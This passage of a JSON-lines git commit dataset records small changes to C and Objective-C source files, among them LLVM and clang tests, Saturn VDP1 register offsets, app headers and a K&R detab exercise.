CReadConfig object.\n   *  @return mFail\n   *\/\n  C_INT32 load(CReadConfig & configbuffer);\n\n  \/**\n   *  Saves the contents of the object to a CWriteConfig object.\n   *  (Which usually has a file attached but may also have socket)\n   *  @param pconfigbuffer reference to a CWriteConfig object.\n   *  @return mFail\n   *\/\n  C_INT32 save(CWriteConfig & configbuffer);\n\n  \/**\n   *  Add the function to the database\n   *  @param CUDFunction &function\n   *  @return C_INT32 Fail\n   *\/\n  void add(CUDFunction & function);\n\n  \/**\n   * Get the number of user defined functions\n   *\/\n  C_INT16 getItems() const;\n  \/**\n   * Set the number of user defined funcstion\n   *\/\n  void setItems(const C_INT16 items);\n\n  \/**\n   * Get the \"User-defined functions\" string\n   *\/\n  string getNameStr() const;\n};\n\n#endif","subject":"Define a vector to hold user defined functions","message":"Define a vector to hold user defined functions\n","lang":"C","license":"artistic-2.0","repos":"jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI"}
{"commit":"57041b6f3337f733eff945ca0c43434eb20c8410","old_file":"test\/FrontendC\/2010-03-5-LexicalScope.c","new_file":"test\/FrontendC\/2010-03-5-LexicalScope.c","old_contents":"\/\/ RUN: %llvmgcc -S -O0 -g %s -o - | grep DW_TAG_lexical_block | count 3\nint foo(int i) {\n\tif (i) {\n\t\tint j = 2;\n\t}\n\telse {\n\t\tint j = 3;\n\t}\n\treturn i;\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S -O0 -g %s -o - | grep DW_TAG_lexical_block | count 2\nint foo(int i) {\n\tif (i) {\n\t\tint j = 2;\n\t}\n\telse {\n\t\tint j = 3;\n\t}\n\treturn i;\n}\n","subject":"Adjust test case for lexical block pruning. Follow-on to r104842 and Radar 7424645.","message":"Adjust test case for lexical block pruning.  Follow-on to r104842 and Radar 7424645.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@104876 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm"}
{"commit":"ca9976d6fea556430cdb1dd92dc69f0fc257ea96","old_file":"test\/CFrontend\/2007-09-26-Alignment.c","new_file":"test\/CFrontend\/2007-09-26-Alignment.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep {align 16}\nextern p(int *);\nint q(void) {\n  int x __attribute__ ((aligned (16)));\n  p(&x);\n  return x;\n}\n","subject":"Test that local variables are aligned as the user requested.","message":"Test that local variables are aligned as the user requested.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@42338 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm"}
{"commit":"f779b0dc0bb152e1d1e9d4cab5de36c1ab1bf13e","old_file":"libyaul\/scu\/bus\/b\/vdp1\/vdp1\/map.h","new_file":"libyaul\/scu\/bus\/b\/vdp1\/vdp1\/map.h","old_contents":"\/*\n * Copyright (c) 2012-2014 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _VDP1_MAP_H_\n#define _VDP1_MAP_H_\n\n#include <scu-internal.h>\n\n\/* Macros specific for processor *\/\n#define VDP1(x)         (0x25D00000 + (x))\n\n\/* Helpers specific to this processor *\/\n\n#define TVMR\t\t0x0000\n#define FBCR\t\t0x0002\n#define PTMR\t\t0x0004\n#define EWDR\t\t0x0006\n#define EWLR\t\t0x0008\n#define EWRR\t\t0x000A\n#define ENDR\t\t0x000C\n#define EDSR\t\t0x000E\n#define LOPR\t\t0x0010\n#define COPR\t\t0x0012\n#define MODR\t\t0x0014\n\n#endif \/* !_VDP1_MAP_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2012-2014 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _VDP1_MAP_H_\n#define _VDP1_MAP_H_\n\n#include <scu-internal.h>\n\n\/* Macros specific for processor *\/\n#define VDP1(x)         (0x25D00000 + (x))\n\n\/* Helpers specific to this processor *\/\n\n#define TVMR\t\t0x0000\n#define FBCR\t\t0x0002\n#define PTMR\t\t0x0004\n#define EWDR\t\t0x0006\n#define EWLR\t\t0x0008\n#define EWRR\t\t0x000A\n#define ENDR\t\t0x000C\n#define EDSR\t\t0x0010\n#define LOPR\t\t0x0012\n#define COPR\t\t0x0014\n#define MODR\t\t0x0016\n\n#endif \/* !_VDP1_MAP_H_ *\/\n","subject":"Fix offsets to VDP1 registers","message":"Fix offsets to VDP1 registers\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"6da70aa62048e85e652464e7a7dfe3d705c505e3","old_file":"backend.native\/tests\/interop\/kt43502\/main.c","new_file":"backend.native\/tests\/interop\/kt43502\/main.c","old_contents":"#include \"libinterop_kt43502_api.h\"\n\nint main() {\n    libinterop_kt43502_symbols()->kotlin.root.printExternPtr();\n}","new_contents":"#include \"testlib_api.h\"\n\nint main() {\n    testlib_symbols()->kotlin.root.printExternPtr();\n}","subject":"Fix KT-43502 testcase on windows","message":"Fix KT-43502 testcase on windows\n","lang":"C","license":"apache-2.0","repos":"JetBrains\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native"}
{"commit":"9497abecbfcb29dc2c7daa90c98c7d4d23fedc29","old_file":"tests\/auto\/common\/declarativewebutils.h","new_file":"tests\/auto\/common\/declarativewebutils.h","old_contents":"\/****************************************************************************\n**\n** Copyright (C) 2014 Jolla Ltd.\n** Contact: Raine Makelainen <raine.makelainen@jolla.com>\n**\n****************************************************************************\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#ifndef DECLARATIVEWEBUTILS_H\n#define DECLARATIVEWEBUTILS_H\n\n#include <QObject>\n#include <QString>\n#include <QColor>\n#include <qqml.h>\n\nclass DeclarativeWebUtils : public QObject\n{\n    Q_OBJECT\n    Q_PROPERTY(QString homePage READ homePage NOTIFY homePageChanged FINAL)\n    Q_PROPERTY(bool firstUseDone READ firstUseDone NOTIFY firstUseDoneChanged FINAL)\n\npublic:\n    explicit DeclarativeWebUtils(QObject *parent = 0);\n\n    Q_INVOKABLE int getLightness(QColor color) const;\n    Q_INVOKABLE QString displayableUrl(QString fullUrl) const;\n\n    static DeclarativeWebUtils *instance();\n\n    QString homePage() const;\n    bool firstUseDone() const;\n    void setFirstUseDone(bool firstUseDone);\n\nsignals:\n    void homePageChanged();\n    void firstUseDoneChanged();\n\nprivate:\n    QString m_homePage;\n    bool m_firstUseDone;\n};\n\nQML_DECLARE_TYPE(DeclarativeWebUtils)\n\n#endif\n","new_contents":"\/****************************************************************************\n**\n** Copyright (C) 2014 Jolla Ltd.\n** Contact: Raine Makelainen <raine.makelainen@jolla.com>\n**\n****************************************************************************\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#ifndef DECLARATIVEWEBUTILS_H\n#define DECLARATIVEWEBUTILS_H\n\n#include <QObject>\n#include <QString>\n#include <QColor>\n#include <qqml.h>\n\nclass DeclarativeWebUtils : public QObject\n{\n    Q_OBJECT\n    Q_PROPERTY(QString homePage READ homePage NOTIFY homePageChanged FINAL)\n    Q_PROPERTY(bool firstUseDone READ firstUseDone NOTIFY firstUseDoneChanged FINAL)\n\npublic:\n    explicit DeclarativeWebUtils(QObject *parent = 0);\n\n    Q_INVOKABLE int getLightness(QColor color) const;\n    Q_INVOKABLE QString displayableUrl(QString fullUrl) const;\n\n    static DeclarativeWebUtils *instance();\n\n    QString homePage() const;\n    bool firstUseDone() const;\n    void setFirstUseDone(bool firstUseDone);\n\nsignals:\n    void homePageChanged();\n    void firstUseDoneChanged();\n    void beforeShutdown();\n\nprivate:\n    QString m_homePage;\n    bool m_firstUseDone;\n};\n\nQML_DECLARE_TYPE(DeclarativeWebUtils)\n\n#endif\n","subject":"Add beforeShutdown signal to mock object","message":"Add beforeShutdown signal to mock object\n","lang":"C","license":"mpl-2.0","repos":"rojkov\/sailfish-browser,alinelena\/sailfish-browser,sailfishos\/sailfish-browser,alinelena\/sailfish-browser,sailfishos\/sailfish-browser,sailfishos\/sailfish-browser,sailfishos\/sailfish-browser,sailfishos\/sailfish-browser,alinelena\/sailfish-browser,alinelena\/sailfish-browser,rojkov\/sailfish-browser,rojkov\/sailfish-browser"}
{"commit":"51bd503c3429ee5522bd065c71f6f5dbbfb0a876","old_file":"Classes\/xkcdAppDelegate.h","new_file":"Classes\/xkcdAppDelegate.h","old_contents":"\/\/\n\/\/  xkcdAppDelegate.h\n\/\/  xkcd\n\/\/\n\/\/  Created by Joshua Bleecher Snyder on 8\/25\/09.\n\/\/  Copyright Treeline Labs 2009. All rights reserved.\n\/\/\n\n#define GENERATE_DEFAULT_PNG 0\n\n#define AppDelegate ((xkcdAppDelegate *)[UIApplication sharedApplication].delegate)\n#define kUseragent @\"xkcd iPhone app (xkcdapp@treelinelabs.com; http:\/\/bit.ly\/rZtDq). Thank you for the API!\"\n\n@class ComicListViewController;\n\n@interface xkcdAppDelegate : NSObject<UIApplicationDelegate> {\n  UINavigationController *navigationController;\n  ComicListViewController *listViewController;\n  \n  NSManagedObjectModel *managedObjectModel;\n  NSManagedObjectContext *managedObjectContext;\t    \n  NSPersistentStoreCoordinator *persistentStoreCoordinator;\n  \n  NSUserDefaults *userDefaults;\n  \n  UIWindow *window;\n}\n\n- (void)save;\n\n- (BOOL)rotate;\n- (BOOL)downloadNewComics;\n- (BOOL)openZoomedOut;\n- (BOOL)openAfterDownload;\n\n@property(nonatomic, strong, readonly) NSManagedObjectModel *managedObjectModel;\n@property(nonatomic, strong, readonly) NSManagedObjectContext *managedObjectContext;\n@property(nonatomic, strong, readonly) NSPersistentStoreCoordinator *persistentStoreCoordinator;\n\n@property(weak, nonatomic, readonly) NSString *applicationDocumentsDirectory;\n\n@property(nonatomic, strong) IBOutlet UIWindow *window;\n\n@end\n\n","new_contents":"\/\/\n\/\/  xkcdAppDelegate.h\n\/\/  xkcd\n\/\/\n\/\/  Created by Joshua Bleecher Snyder on 8\/25\/09.\n\/\/  Copyright Treeline Labs 2009. All rights reserved.\n\/\/\n\n#define GENERATE_DEFAULT_PNG 0\n\n#define AppDelegate ((xkcdAppDelegate *)[UIApplication sharedApplication].delegate)\n#define kUseragent @\"xkcd iPhone app (josh@treelinelabs.com; http:\/\/bit.ly\/xkcdapp). Thank you for the API!\"\n\n@class ComicListViewController;\n\n@interface xkcdAppDelegate : NSObject<UIApplicationDelegate> {\n  UINavigationController *navigationController;\n  ComicListViewController *listViewController;\n  \n  NSManagedObjectModel *managedObjectModel;\n  NSManagedObjectContext *managedObjectContext;\t    \n  NSPersistentStoreCoordinator *persistentStoreCoordinator;\n  \n  NSUserDefaults *userDefaults;\n  \n  UIWindow *window;\n}\n\n- (void)save;\n\n- (BOOL)rotate;\n- (BOOL)downloadNewComics;\n- (BOOL)openZoomedOut;\n- (BOOL)openAfterDownload;\n\n@property(nonatomic, strong, readonly) NSManagedObjectModel *managedObjectModel;\n@property(nonatomic, strong, readonly) NSManagedObjectContext *managedObjectContext;\n@property(nonatomic, strong, readonly) NSPersistentStoreCoordinator *persistentStoreCoordinator;\n\n@property(weak, nonatomic, readonly) NSString *applicationDocumentsDirectory;\n\n@property(nonatomic, strong) IBOutlet UIWindow *window;\n\n@end\n\n","subject":"Update the useragent a bit","message":"Update the useragent a bit","lang":"C","license":"mit","repos":"paulrehkugler\/xkcd,paulrehkugler\/xkcd,nameloCmaS\/xkcd,nameloCmaS\/xkcd"}
{"commit":"1866eb90a92ad4cd9956073d778b38e943b6edbd","old_file":"NSBezierPath_CoreImageExtensions.h","new_file":"NSBezierPath_CoreImageExtensions.h","old_contents":"","new_contents":"\/\/\n\/\/  NSBezierPath_CoreImageExtensions.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Adam Maxwell on 10\/26\/05.\n\/*\n This software is Copyright (c) 2005,2007\n Adam Maxwell. All rights reserved.\n \n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n \n - Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n \n - Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the\n distribution.\n \n - Neither the name of Adam Maxwell nor the names of any\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n \n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n\n@interface NSBezierPath (BDSKGradientExtensions)\n\n- (void)fillPathVertically:(BOOL)isVertical withStartColor:(CIColor *)startColor endColor:(CIColor *)endColor;\n- (void)fillPathVerticallyWithStartColor:(CIColor *)inStartColor endColor:(CIColor *)inEndColor;\n\n- (void)fillPathWithHorizontalGradientFromColor:(CIColor *)fgStartColor toColor:(CIColor *)fgEndColor blendedAtTop:(BOOL)top ofVerticalGradientFromColor:(CIColor *)bgStartColor toColor:(CIColor *)bgEndColor;\n\n- (void)fillPathWithVerticalGradientFromColor:(CIColor *)inFgStartColor toColor:(CIColor *)inFgEndColor blendedAtRight:(BOOL)right ofHorizontalGradientFromColor:(CIColor *)inBgStartColor toColor:(CIColor *)inBgEndColor;\n- (void)fillPathWithColor:(CIColor *)inFgColor blendedAtRight:(BOOL)right ofVerticalGradientFromColor:(CIColor *)inBgStartColor toColor:(CIColor *)inBgEndColor;\n\n\n@end\n","subject":"Copy bezier path category from bibdesk to skim","message":"Copy bezier path category from bibdesk to skim\n","lang":"C","license":"bsd-3-clause","repos":"JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim"}
{"commit":"6b6a6f81adf148e75ad847b4bae40f54aa2e46cb","old_file":"src\/exercise120.c","new_file":"src\/exercise120.c","old_contents":"","new_contents":"\/* Exercise 1-20: Write a program \"detab\" that replaces tabs in the input with\n * the proper number of blanks to space to the next tab stop. Assume a fixed\n * set of tab stops, say every \"n\" columns. Should \"n\" be a variable or a\n * symbolic parameter? *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n  int32_t character = 0;\n  uint32_t line_length = 0;\n  uint32_t tab_width = 8;\n  while ((character = getchar()) != EOF) {\n    if (character == '\\t') {\n      uint32_t spaces_to_add = tab_width - (line_length % tab_width);\n      printf(\"%*c\", spaces_to_add, ' ');\n      line_length += spaces_to_add;\n    } else {\n      putchar(character);\n      line_length = (character != '\\n') ? ++line_length : 0;\n    }\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-20.","message":"Add solution to Exercise 1-20.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"ef62a17b0e154377a38d58e0913b8b5d6471e36b","old_file":"src\/expanduino\/expanduino.h","new_file":"src\/expanduino\/expanduino.h","old_contents":"#pragma once\n\n#include \"expanduino-subdevice.h\"\n#include \"classes\/meta.h\"\n\n#define EXPANDUINO_MAX_RESPONSE_SIZE 128\n\nclass ExpanduinoInterruption {\npublic:\n  ExpanduinoSubdevice* source;\n  ExpanduinoInterruption* next;\n};\n\n\nclass Expanduino {\n  MetaExpanduinoSubdevice metaSubdevice;\n  const char* vendorName;\n  const char* productName;\n  const char* serialNumber;\n  const char* shortName;\n  ExpanduinoInterruption* nextInterruption;\n  \n  friend class ExpanduinoSubdevice;\n  friend class MetaExpanduinoSubdevice;\n  \npublic:\n  Expanduino();\n  uint8_t getNumSubdevices();\n  ExpanduinoSubdevice* getDevice(uint8_t devNumber);\n  void dispatch(uint8_t cmd, Stream& request, Print& response);\n  void getVendorName(Print& out);\n  void getProductName(Print& out);\n  void getSerialNumber(Print& out);\n  void getShortName(Print& out);\n  void beginSubdevices();\n  void endSubdevices();\n  void reset();\n  \n  virtual bool readInterruptionData(Print& response);\n  virtual bool requestInterruption(ExpanduinoSubdevice* dev);\n\n};\n","new_contents":"#pragma once\n\n#include \"expanduino-subdevice.h\"\n#include \"classes\/meta.h\"\n\n#define EXPANDUINO_MAX_RESPONSE_SIZE 128\n\nclass ExpanduinoInterruption {\npublic:\n  ExpanduinoSubdevice* source;\n  ExpanduinoInterruption* next;\n};\n\n\nclass Expanduino {\nprotected:\n  MetaExpanduinoSubdevice metaSubdevice;\n  ExpanduinoInterruption* nextInterruption;\n  \n  friend class ExpanduinoSubdevice;\n  friend class MetaExpanduinoSubdevice;\n  \npublic:\n  Expanduino();\n  uint8_t getNumSubdevices();\n  ExpanduinoSubdevice* getDevice(uint8_t devNumber);\n  void dispatch(uint8_t cmd, Stream& request, Print& response);\n  void getVendorName(Print& out);\n  void getProductName(Print& out);\n  void getSerialNumber(Print& out);\n  void getShortName(Print& out);\n  void beginSubdevices();\n  void endSubdevices();\n  void reset();\n  \n  virtual bool readInterruptionData(Print& response);\n  virtual bool requestInterruption(ExpanduinoSubdevice* dev);\n\n  const char* vendorName;\n  const char* productName;\n  const char* serialNumber;\n  const char* shortName;\n};\n","subject":"Make public some attributes of Expanduino","message":"Make public some attributes of Expanduino\n","lang":"C","license":"unlicense","repos":"Expanduino\/Expanduino-Arduino,Expanduino\/Expanduino-Arduino"}
{"commit":"b9ace4e896cf2c070053a179a5e092dcb79e7d9c","old_file":"MAGDebugKit\/Classes\/Logging\/MAGLogging.h","new_file":"MAGDebugKit\/Classes\/Logging\/MAGLogging.h","old_contents":"#import <Foundation\/Foundation.h>\n#import <CocoaLumberjack\/CocoaLumberjack.h>\n\n\nextern DDLogLevel magDebugKitLogLevel;\nextern BOOL magDebugKitAsyncLogs;\n#define LOG_ASYNC_ENABLED magDebugKitAsyncLogs\n#define LOG_LEVEL_DEF magDebugKitLogLevel\n\n\n@interface MAGLogging : NSObject\n\n+ (instancetype)sharedInstance;\n\n@property (nonatomic) DDLogLevel logLevel;\n\n@property (nonatomic) BOOL fileLoggingEnabled;\n@property (nonatomic) BOOL ttyLoggingEnabled;\n@property (nonatomic) BOOL aslLoggingEnabled;\n\n\/\/ Send logs via TCP socket.\n@property (nonatomic) NSNumber *remoteLoggingEnabled;\n@property (nonatomic, copy) NSString *remoteLoggingHost;\n@property (nonatomic) NSNumber *remoteLoggingPort;\n@property (nonatomic, copy) NSDictionary *remoteLoggingDictionary;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n#import <CocoaLumberjack\/CocoaLumberjack.h>\n\n\nextern DDLogLevel magDebugKitLogLevel;\nextern BOOL magDebugKitAsyncLogs;\n\n#ifdef LOG_ASYNC_ENABLED\n\t#undef LOG_ASYNC_ENABLED\n#endif\n#define LOG_ASYNC_ENABLED magDebugKitAsyncLogs\n\n#ifdef LOG_LEVEL_DEF\n\t#undef LOG_LEVEL_DEF\n#endif\n#define LOG_LEVEL_DEF magDebugKitLogLevel\n\n\n@interface MAGLogging : NSObject\n\n+ (instancetype)sharedInstance;\n\n@property (nonatomic) DDLogLevel logLevel;\n\n@property (nonatomic) BOOL fileLoggingEnabled;\n@property (nonatomic) BOOL ttyLoggingEnabled;\n@property (nonatomic) BOOL aslLoggingEnabled;\n\n\/\/ Send logs via TCP socket.\n@property (nonatomic) NSNumber *remoteLoggingEnabled;\n@property (nonatomic, copy) NSString *remoteLoggingHost;\n@property (nonatomic) NSNumber *remoteLoggingPort;\n@property (nonatomic, copy) NSDictionary *remoteLoggingDictionary;\n\n@end\n","subject":"Fix some warnings (redefined macro definitions)","message":"Fix some warnings (redefined macro definitions)\n","lang":"C","license":"apache-2.0","repos":"Magora-IOS\/MAGDebugKit,Magora-IOS\/MAGDebugKit"}
{"commit":"b0a039d70ab17fb7b68afc498ae635825c8300cd","old_file":"Source\/LuminoCore\/Include\/LuminoMath.h","new_file":"Source\/LuminoCore\/Include\/LuminoMath.h","old_contents":"\n#ifndef LUMINO_MATH_H\n#define LUMINO_MATH_H\n\n#include \"Lumino\/Math\/MathUtils.h\"\n#include \"Lumino\/Math\/Vector2.h\"\n#include \"Lumino\/Math\/Vector3.h\"\n#include \"Lumino\/Math\/Vector4.h\"\n#include \"Lumino\/Math\/Matrix.h\"\n#include \"Lumino\/Math\/Quaternion.h\"\n#include \"Lumino\/Math\/AttitudeTransform.h\"\n#include \"Lumino\/Math\/Geometries.h\"\n#include \"Lumino\/Math\/Plane.h\"\n#include \"Lumino\/Math\/ViewFrustum.h\"\n#include \"Lumino\/Math\/Random.h\"\n\n#endif \/\/ LUMINO_MATH_H\n","new_contents":"\n#ifndef LUMINO_MATH_H\n#define LUMINO_MATH_H\n\n#pragma push_macro(\"min\")\n#pragma push_macro(\"max\")\n#undef min\n#undef max\n\n#include \"Lumino\/Math\/MathUtils.h\"\n#include \"Lumino\/Math\/Vector2.h\"\n#include \"Lumino\/Math\/Vector3.h\"\n#include \"Lumino\/Math\/Vector4.h\"\n#include \"Lumino\/Math\/Matrix.h\"\n#include \"Lumino\/Math\/Quaternion.h\"\n#include \"Lumino\/Math\/AttitudeTransform.h\"\n#include \"Lumino\/Math\/Geometries.h\"\n#include \"Lumino\/Math\/Plane.h\"\n#include \"Lumino\/Math\/ViewFrustum.h\"\n#include \"Lumino\/Math\/Random.h\"\n\n#pragma pop_macro(\"min\")\n#pragma pop_macro(\"max\")\n\n#endif \/\/ LUMINO_MATH_H\n","subject":"Improve windows min max macro for MFC","message":"Improve windows min max macro for MFC\n","lang":"C","license":"mit","repos":"lriki\/Lumino,lriki\/Lumino,lriki\/Lumino,lriki\/Lumino,lriki\/Lumino,lriki\/Lumino,lriki\/Lumino"}
{"commit":"d19925f48fcbad32755c4cf0dca845a6487fe3c8","old_file":"test\/FrontendC\/2007-02-16-WritableStrings.c","new_file":"test\/FrontendC\/2007-02-16-WritableStrings.c","old_contents":"\/\/ Test the -fwritable-strings option.\n\n\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm -fwritable-strings %s | \\\n\/\/ RUN:    grep {private global}\n\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm %s | grep {private constant}\n\nchar *X = \"foo\";\n","new_contents":"\/\/ Test the -fwritable-strings option.\n\n\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm -fwritable-strings %s | \\\n\/\/ RUN:    grep {internal global}\n\/\/ RUN: %llvmgcc -O3 -S -o - -emit-llvm %s | grep {private constant}\n\nchar *X = \"foo\";\n","subject":"Update test to match 95961.","message":"Update test to match 95961.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@95971 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap"}
{"commit":"1255e1b35e2133bc286dc205c6f1718914f50b81","old_file":"test\/Index\/annotate-comments-unterminated.c","new_file":"test\/Index\/annotate-comments-unterminated.c","old_contents":"","new_contents":"\/\/ RUN: c-index-test -test-load-source all %s | FileCheck %s\n\/\/ RUN: %clang_cc1 -fsyntax-only %s 2>&1 | FileCheck -check-prefix=ERR %s\n\n\/\/ CHECK: annotate-comments-unterminated.c:9:5: VarDecl=x:{{.*}} RawComment=[\/** Aaa. *\/]{{.*}} BriefComment=[ Aaa. \\n]\n\/\/ CHECK: annotate-comments-unterminated.c:11:5: VarDecl=y:{{.*}} RawComment=[\/**< Bbb. *\/]{{.*}} BriefComment=[ Bbb. \\n]\n\/\/ CHECK-ERR: error: unterminated\n\n\/** Aaa. *\/\nint x;\n\nint y; \/**< Bbb. *\/\n\/**< Ccc.\n * Ddd.\n","subject":"Add a test for unterminated \/* comments.","message":"Add a test for unterminated \/* comments.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@159267 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
